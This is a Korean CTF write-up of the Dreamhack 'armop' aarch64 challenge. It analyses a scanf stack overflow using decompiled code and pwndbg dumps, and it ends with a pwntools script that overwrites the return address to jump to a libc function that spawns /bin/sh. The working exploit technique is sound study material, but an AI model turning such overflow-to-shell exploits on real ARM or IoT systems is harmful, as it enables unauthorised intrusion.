[Dreamhack] PWN armop

회사에 입사하고 오랜만에 올리는 문제풀이다.

IoT 해킹을 직업으로 하며 arm환경에서 익스코드를 작성하는게 메인이 되었다.

기존에 문제에서 접하던 x64 환경과는 또 환경으로 적응하고 메모리 커럽션 공격을 더욱 고도화 시키기 위해 arm, mips, risc-V 문제를 풀어보며 공부할 예정이다.

이번 문제는 Dream hack의 armop 문제다. 처음에 rop로 풀려고 시도했는데 삽질하다가 쉬운방법으로 풀린 문제다.

문제 파일을 다운받고 내부 파일들을 먼저 살펴보자. deploy에 문제파일과 실행을 위한 스크립트가 있다. qemu-aarch64-static 명령으로 문제파일을 실행한다. 홈페이지의 문제 설명을 보면 디버깅을 할 때는 제공된 스크립트를 이용하라고 한다. utils 디렉터리에 qemu를 디버그 모드로 실행시키는 스크립트와 gdb target remote 예제 스크립트가 제공된다.

우선 도커파일을 빌드해서 prob 바이너리를 실행시켜보자.

pwn@f767549ec4e5:~$ ls -al
total 796
drwxr-x--- 1 pwn  pwn    4096 Jul 25 04:52 .
drwxr-xr-x 1 root root   4096 Jul 21 07:00 ..
-rw------- 1 pwn  pwn     137 Jul 23 23:59 .bash_history
-rw-r--r-- 1 pwn  pwn     220 Jul 21 07:00 .bash_logout
-rw-r--r-- 1 pwn  pwn    3771 Jul 21 07:00 .bashrc
-rw-r--r-- 1 pwn  pwn     807 Jul 21 07:00 .profile
-rw-r--r-- 1 root root      8 Jul 21 06:49 flag
-rwxr-xr-x 1 root root 774744 Jul 21 06:49 prob
-rwxr-xr-x 1 root root     36 Jul 21 06:49 run.sh
pwn@f767549ec4e5:~$ ./run.sh
exploit aarch64!

input: testtest

exploit aarch64! 문구를 출력하고 input: 출력 후 사용자 입력을 받는다.

이제 바이너리를 동적 분석도구로 확인해보자.

main함수는 아래와 같다.

undefined8 main(void)

{
  int iVar1;
  
  setvbuf((FILE *)stdin,(char *)0x0,2,0);
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  setvbuf((FILE *)stderr,(char *)0x0,2,0);
  iVar1 = system("echo \'exploit aarch64!\n\'");
  run(iVar1);
  return 0;
}

system함수를 통해 exploit aarch64! 를 출력하고 run함수를 실행한다. run 함수를 살펴보자

void run(void)

{
  undefined1 auStack_10 [16];
  
  ___printf_chk(2,"input: ");
  __isoc99_scanf(&DAT_00467050,auStack_10);
  return;
}

위를 보면 16만큼 할당된 배열에 scanf를 통해 입력을 받는데 입력 길이에 대한 제한이 없다. 따라서 해당 부분에서 BoF가 발생한다.

처음에는 aarch64 ROP를 통해 문제를 풀려고 했는데 /bin/sh 문자열 검색중 다음과 같은 함수를 발견했다.

void maybe_script_execute(undefined8 param_1,long *param_2,char **param_3)

{
  long lVar1;
  undefined1 *puVar2;
  undefined1 *puVar3;
  long lVar5;
  ulong uVar6;
  char **__argv;
  undefined1 auStack_60 [16];
  char *local_50;
  undefined8 uStack_48;
  long local_38;
  undefined1 *puVar4;
  
  puVar3 = auStack_60;
  puVar4 = auStack_60;
  local_38 = __stack_chk_guard;
  lVar5 = 0;
  if (*param_2 != 0) {
LAB_00441aec:
    lVar1 = lVar5 + 1;
    if (param_2[lVar1] != 0) goto LAB_00441ae4;
    uVar6 = lVar5 * 8 + 0x27;
    puVar2 = auStack_60;
    while (puVar4 != auStack_60 + -(uVar6 & 0xffffffffffff0000)) {
      puVar3 = puVar2 + -0x10000;
      *(undefined8 *)(puVar2 + -0xfc00) = 0;
      puVar4 = puVar2 + -0x10000;
      puVar2 = puVar2 + -0x10000;
    }
    uVar6 = uVar6 & 0xfff0;
    lVar5 = -uVar6;
    *(undefined8 *)(puVar3 + lVar5) = 0;
    if (0x3ff < uVar6) {
      *(undefined8 *)(puVar3 + lVar5 + 0x400) = 0;
      __argv = (char **)(puVar3 + lVar5 + 0x10);
      *__argv = "/bin/sh";
      *(undefined8 *)(puVar3 + lVar5 + 0x18) = param_1;
      if (lVar1 != 1) goto LAB_00441b9c;
      goto LAB_00441b54;
    }
    __argv = (char **)(puVar3 + lVar5 + 0x10);
    *__argv = "/bin/sh";
    *(undefined8 *)(puVar3 + lVar5 + 0x18) = param_1;
    if (lVar1 == 1) goto LAB_00441b54;
LAB_00441b9c:
    __argv = (char **)(puVar3 + lVar5 + 0x10);
    thunk_FUN_00400270(puVar3 + lVar5 + 0x20,param_2 + 1,lVar1 * 8);
    goto LAB_00441b58;
  }
  __argv = &local_50;
  local_50 = "/bin/sh";
  uStack_48 = param_1;
LAB_00441b54:
  __argv[2] = (char *)0x0;
LAB_00441b58:
  execve("/bin/sh",__argv,param_3);
LAB_00441b6c:
  if (local_38 - __stack_chk_guard == 0) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail(&__stack_chk_guard,0,local_38 - __stack_chk_guard);
LAB_00441ae4:
  lVar5 = lVar1;
  if (lVar1 == 0x7ffffffe) goto LAB_00441bd0;
  goto LAB_00441aec;
LAB_00441bd0:
  lVar5 = tpidr_el0;
  *(undefined4 *)(lVar5 + 0x28) = 7;
  goto LAB_00441b6c;
}

간단하게 분석한 결과 함수의 파라미터로 전달된 명령을 execve 명령을 통해 구동시키는 코드로 단일 실행 시 /bin/sh 를 실행해 쉘이 떨어질 것이라 판단했다.

qemu-aarch64-static-g 옵션을 통해 디버깅 포트를 활성화 하고 gdb를 붙여 16바이트를 입력 후 스택의 주소를 살펴보자.

pwn@f767549ec4e5:~$ qemu-aarch64-static -g 1234 prob
exploit aarch64!

input: aaaaaaaaaaaaaaaa
pwndbg> ni
0x00000000004007cc in run ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
*X0   1
*X1   0x49dd50 (__stack_chk_guard) ◂— 0xdfa7ef6a7643d800
 X2   0
 X3   0
*X4   0x28
*X5   0x18
*X6   0
*X7   0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00
*X8   0x3f
*X9   0
*X10  0
*X11  0
*X12  0xffffffc8
*X13  0x400000800450 ◂— 0
*X14  0x3a30
*X15  0x4a03e8 (_IO_2_1_stdin_) ◂— 0xfbad208b
*X16  0x40d8a4 (_IO_default_uflow) ◂— stp x29, x30, [sp, #-0x20]!
 X17  0x417b80 (__memcpy_mops) ◂— nop 
*X18  0x4a1830 (_nl_global_locale) —▸ 0x49cc60 (_nl_C_LC_CTYPE) —▸ 0x4698b0 (_nl_C_name) ◂— udf #0x43 /* 'C' */
 X19  1
 X20  0x400000800668 —▸ 0x400000800824 ◂— 0x534f4800626f7270 /* 'prob' */
 X21  2
 X22  0x400000800678 —▸ 0x400000800829 ◂— 'HOSTNAME=f767549ec4e5'
 X23  0x49c2b0 (__preinit_array_start) —▸ 0x4005e0 (init_have_lse_atomics) ◂— stp x29, x30, [sp, #-0x10]!
 X24  2
 X25  0x18
 X26  0x4a6000 (__pthread_keys+14384) ◂— 0
 X27  0x4a0020 —▸ 0x419040 (__strlen_generic) ◂— nop 
 X28  0x400250 (_init) ◂— nop 
 X29  0x400000800490 —▸ 0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00
 SP   0x400000800490 —▸ 0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00
 LR   0x4007cc (run+40) ◂— ldp x29, x30, [sp], #0x20
*PC   0x4007cc (run+40) ◂— ldp x29, x30, [sp], #0x20
─────────────────────────────────[ DISASM / aarch64 / set emulate on ]─────────────────────────────────
b+ 0x4007c8 <run+36>                        bl     __isoc99_scanf              <__isoc99_scanf>
 
  0x4007cc <run+40>                        ldp    x29, x30, [sp], #0x20
   0x4007d0 <run+44>                       ret                                <main+96>
    
   0x400834 <main+96>                       mov    w0, #0                    W0 => 0
   0x400838 <main+100>                      ldp    x29, x30, [sp], #0x10
   0x40083c <main+104>                     ret                                <__libc_start_call_main+88>
    
   0x4008e8 <__libc_start_call_main+88>     bl     exit                        <exit>
 
   0x4008ec <__libc_start_call_main+92>     bl     __nptl_deallocate_tsd       <__nptl_deallocate_tsd>
 
   0x4008f0 <__libc_start_call_main+96>     adrp   x1, 0x4a0000              X1 => 0x4a0000
   0x4008f4 <__libc_start_call_main+100>    mov    w0, #-1
   0x4008f8 <__libc_start_call_main+104>    add    x1, x1, #0x5c8
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000 x29 sp 0x400000800490 —▸ 0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00
01:0008        0x400000800498 —▸ 0x400834 (main+96) ◂— mov w0, #0
02:0010        0x4000008004a0 ◂— 'aaaaaaaaaaaaaaaa'
03:0018        0x4000008004a8 ◂— 'aaaaaaaa'
04:0020 x7     0x4000008004b0 —▸ 0x400000800400 ◂— 0xffffffffff00ff00
05:0028        0x4000008004b8 —▸ 0x4008e8 (__libc_start_call_main+88) ◂— bl exit
06:0030        0x4000008004c0 —▸ 0x4000008005d0 ◂— 0
07:0038        0x4000008004c8 —▸ 0x400c8c (__libc_start_main_impl+872) ◂— bl __libc_check_standard_fds /* '5' */
─────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
  0         0x4007cc run+40
   1         0x400834 main+96
   2         0x4008e8 __libc_start_call_main+88
   3         0x400c8c __libc_start_main_impl+872
   4         0x400670 _start+48
───────────────────────────────────────────────────────────────────────────────────────────────────────

이후 입력한 값이 위치한 스택의 -0x10 위치를 찍어 내용을 살펴보자.

pwndbg> x/32gx 0x4000008004a0-0x10
0x400000800490: 0x00004000008004b0      0x0000000000400834
0x4000008004a0: 0x6161616161616161      0x6161616161616161
0x4000008004b0: 0x0000400000800400      0x00000000004008e8
0x4000008004c0: 0x00004000008005d0      0x0000000000400c8c
0x4000008004d0: 0x0000000000000000      0x0000000000400674
0x4000008004e0: 0x0000000100000000      0x0000400000800668
0x4000008004f0: 0x0000000000000001      0x0000400000800668
0x400000800500: 0x0000000000000002      0x0000400000800678
0x400000800510: 0x000000000049c2b0      0x0000000000000002
0x400000800520: 0x0000000000000018      0x00000000004a6000
0x400000800530: 0x00000000004a0020      0x0000000000400250
0x400000800540: 0x00004000008004c0      0x7eda91b1c1986a52
0x400000800550: 0x0000000000000001      0x7edad1b1c158663e
0x400000800560: 0x0000000000000000      0x0000000000000000
0x400000800570: 0x0000000000000000      0x0000000000000000
0x400000800580: 0x0000000000000000      0x0000000000000000

위 내용을 직접 분석하면 aarch64 아키텍쳐의 독특한 점을 확인할 수 있다. 0x400000800498 지점의 0x0000000000400834 값은 run() 함수가 동작 후 리턴 하여 main으로 돌아갈 위치다. 그럼 입력한 값 뒤에 있는 0x4000008004b0 에 위치한 0x00000000004008e8 위치는 __libc_start_call_main이다. main함수가 끝난 뒤 return될 지점이다.

pwndbg> disass 0x00000000004008e8
Dump of assembler code for function __libc_start_call_main:
   0x0000000000400890 <+0>:     stp     x29, x30, [sp, #-272]!
   0x0000000000400894 <+4>:     mov     x29, sp
   0x0000000000400898 <+8>:     str     x0, [sp, #24]
   0x000000000040089c <+12>:    add     x0, sp, #0x30
   0x00000000004008a0 <+16>:    str     w1, [sp, #36]
   0x00000000004008a4 <+20>:    str     x2, [sp, #40]
   0x00000000004008a8 <+24>:    bl      0x401080 <_setjmp>
   0x00000000004008ac <+28>:    cbnz    w0, 0x4008ec <__libc_start_call_main+92>
   0x00000000004008b0 <+32>:    mrs     x0, tpidr_el0
   0x00000000004008b4 <+36>:    adrp    x1, 0x4a6000 <__pthread_keys+14384>
   0x00000000004008b8 <+40>:    sub     x3, x0, #0x600
   0x00000000004008bc <+44>:    sub     x0, x0, #0x740
   0x00000000004008c0 <+48>:    ldr     x2, [x1, #2096]
   0x00000000004008c4 <+52>:    add     x1, sp, #0x30
   0x00000000004008c8 <+56>:    ldur    q0, [x3, #-72]
   0x00000000004008cc <+60>:    str     x1, [x0, #256]
   0x00000000004008d0 <+64>:    ldr     x3, [sp, #24]
   0x00000000004008d4 <+68>:    ldr     x1, [sp, #40]
   0x00000000004008d8 <+72>:    ext     v0.16b, v0.16b, v0.16b, #8
   0x00000000004008dc <+76>:    ldr     w0, [sp, #36]
   0x00000000004008e0 <+80>:    stur    q0, [sp, #232]
   0x00000000004008e4 <+84>:    blr     x3
   0x00000000004008e8 <+88>:    bl      0x401610 <exit>
   0x00000000004008ec <+92>:    bl      0x40fbd0 <__nptl_deallocate_tsd>
   0x00000000004008f0 <+96>:    adrp    x1, 0x4a0000
   0x00000000004008f4 <+100>:   mov     w0, #0xffffffff                 // #-1
   0x00000000004008f8 <+104>:   add     x1, x1, #0x5c8
   0x00000000004008fc <+108>:   bl      0x45ef30 <__aarch64_ldadd4_relax>
   0x0000000000400900 <+112>:   cmp     w0, #0x1
   0x0000000000400904 <+116>:   b.eq    0x40091c <__libc_start_call_main+140>  // b.none
   0x0000000000400908 <+120>:   mov     x8, #0x5d                       // #93
   0x000000000040090c <+124>:   nop
   0x0000000000400910 <+128>:   mov     x0, #0x0                        // #0
   0x0000000000400914 <+132>:   svc     #0x0
   0x0000000000400918 <+136>:   b       0x400910 <__libc_start_call_main+128>
   0x000000000040091c <+140>:   mov     w0, #0x0                        // #0
   0x0000000000400920 <+144>:   bl      0x401610 <exit>
End of assembler dump.

입력하고자 하는 위치 뒤에 있는 스택 값은 지금 상황에서 덮어 씌울 방법이 없다. 그러면 가장 가까운 0x00000000004008e8 값을 조작하고 main이 끝난 뒤 원하는 곳으로 점프할 수 있는지 확인하자. return주소를 0x6363636363636363으로 overwrite하고 main의 return까지 진행시켜 해당 위치로 이동하는지 확인한다.

pwndbg> x/32gx 0x4000008004a0
0x4000008004a0: 0x6161616161616161      0x6161616161616161
0x4000008004b0: 0x6262626262626262      0x6363636363636363
0x4000008004c0: 0x0000400000800500      0x0000000000400c8c
0x4000008004d0: 0x0000000000000000      0x0000000000400674
0x4000008004e0: 0x0000000100000000      0x0000400000800668
0x4000008004f0: 0x0000000000000001      0x0000400000800668
0x400000800500: 0x0000000000000002      0x0000400000800678
0x400000800510: 0x000000000049c2b0      0x0000000000000002
0x400000800520: 0x0000000000000018      0x00000000004a6000
0x400000800530: 0x00000000004a0020      0x0000000000400250
0x400000800540: 0x00004000008004c0      0xb368fbd897096349
0x400000800550: 0x0000000000000001      0xb368bbd897c96f25
0x400000800560: 0x0000000000000000      0x0000000000000000
0x400000800570: 0x0000000000000000      0x0000000000000000
0x400000800580: 0x0000000000000000      0x0000000000000000
0x400000800590: 0x0000000000000000      0x0000000000000000 
pwndbg> 
0x000000000040083c in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
 X0   0
 X1   0x49dd50 (__stack_chk_guard) ◂— 0x1c8bb25695de4f00
 X2   0
 X3   0
 X4   0x28
 X5   0x18
 X6   0
 X7   0x4000008004c0 —▸ 0x400000800500 ◂— 2
 X8   0x3f
 X9   0
 X10  0
 X11  0
 X12  0xffffffc8
 X13  0x400000800450 ◂— 0
 X14  0x3a30
 X15  0x4a03e8 (_IO_2_1_stdin_) ◂— 0xfbad208b
 X16  0x40d8a4 (_IO_default_uflow) ◂— stp x29, x30, [sp, #-0x20]!
 X17  0x417b80 (__memcpy_mops) ◂— nop 
 X18  0x4a1830 (_nl_global_locale) —▸ 0x49cc60 (_nl_C_LC_CTYPE) —▸ 0x4698b0 (_nl_C_name) ◂— udf #0x43 /* 'C' */
 X19  1
 X20  0x400000800668 —▸ 0x400000800824 ◂— 0x534f4800626f7270 /* 'prob' */
 X21  2
 X22  0x400000800678 —▸ 0x400000800829 ◂— 'HOSTNAME=f767549ec4e5'
 X23  0x49c2b0 (__preinit_array_start) —▸ 0x4005e0 (init_have_lse_atomics) ◂— stp x29, x30, [sp, #-0x10]!
 X24  2
 X25  0x18
 X26  0x4a6000 (__pthread_keys+14384) ◂— 0
 X27  0x4a0020 —▸ 0x419040 (__strlen_generic) ◂— nop 
 X28  0x400250 (_init) ◂— nop 
*X29  0x6262626262626262 ('bbbbbbbb')
*SP   0x4000008004c0 —▸ 0x400000800500 ◂— 2
 LR   0x6363636363636363 ('cccccccc')
*PC   0x40083c (main+104) ◂— ret 
─────────────────────────────────[ DISASM / aarch64 / set emulate on ]─────────────────────────────────
b+ 0x4007cc <run+40>      ldp    x29, x30, [sp], #0x20
   0x4007d0 <run+44>     ret                                <main+96>
    
   0x400834 <main+96>     mov    w0, #0                    W0 => 0
   0x400838 <main+100>    ldp    x29, x30, [sp], #0x10
  0x40083c <main+104>   ret                                <0x6363636363636363>
    

───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000 x7 sp 0x4000008004c0 —▸ 0x400000800500 ◂— 2
01:0008       0x4000008004c8 —▸ 0x400c8c (__libc_start_main_impl+872) ◂— bl __libc_check_standard_fds /* '5' */
02:0010       0x4000008004d0 ◂— 0
03:0018       0x4000008004d8 —▸ 0x400674 (_start+52) ◂— nop 
04:0020       0x4000008004e0 ◂— 0x100000000
05:0028       0x4000008004e8 —▸ 0x400000800668 —▸ 0x400000800824 ◂— 0x534f4800626f7270 /* 'prob' */
06:0030       0x4000008004f0 ◂— 1
07:0038       0x4000008004f8 —▸ 0x400000800668 —▸ 0x400000800824 ◂— 0x534f4800626f7270 /* 'prob' */
─────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
  0         0x40083c main+104
   1 0x6363636363636363 None
───────────────────────────────────────────────────────────────────────────────────────────────────────

gdb를 확인하면 main함수에서 0x6363636363636363 로 return하려는 것을 볼 수 있다. 그러면 해당 부분을 maybe_script_execute 함수 주소로 변조하면 쉘을 얻을 수 있을 것이다.

익스 코드는 다음과 같다.

from pwn import *
context.update(arch='aarch64', os='linux')
#context.log_level = 'debug'

# p = process(['qemu-aarch64-static','-L', '/usr/arm-linux-gnueabi', '-g', '8888', './app'])
p = process(['qemu-aarch64-static', '-g', '1111', './deploy/prob'])

elf = ELF("./deploy/prob")

pause()

_system=0x401b00

binsh_addr = 0x004671c8

exec_binsh = 0x0441b60

maybe_script_execute = 0x00441aa0

bof = b"a"*24

# payload  = bof
# payload += p64(0x0000000000435e38)      # 리턴주소: 가젯 주소
# #payload += b"B" * (0x60)            # (0x60 - 8) 패딩: 가젯 주소 이후부터 sp+0x60까지 패딩
# payload += p64(_system)*6
# payload += p64(binsh_addr)               # sp+0x60: x0에 들어갈 값
# payload += b"C" * (0x80 - 0x68)         # (0x80 - 0x68) 패딩: sp+0x68 ~ sp+0x80까지 패딩
# payload += b"D"*8             # sp+0x80: x29(Frame Pointer)
# payload += p64(_system)

payload1 = bof
payload1 += p64(maybe_script_execute)

p.sendlineafter(b"input: ", payload1)
pause()

p.interactive()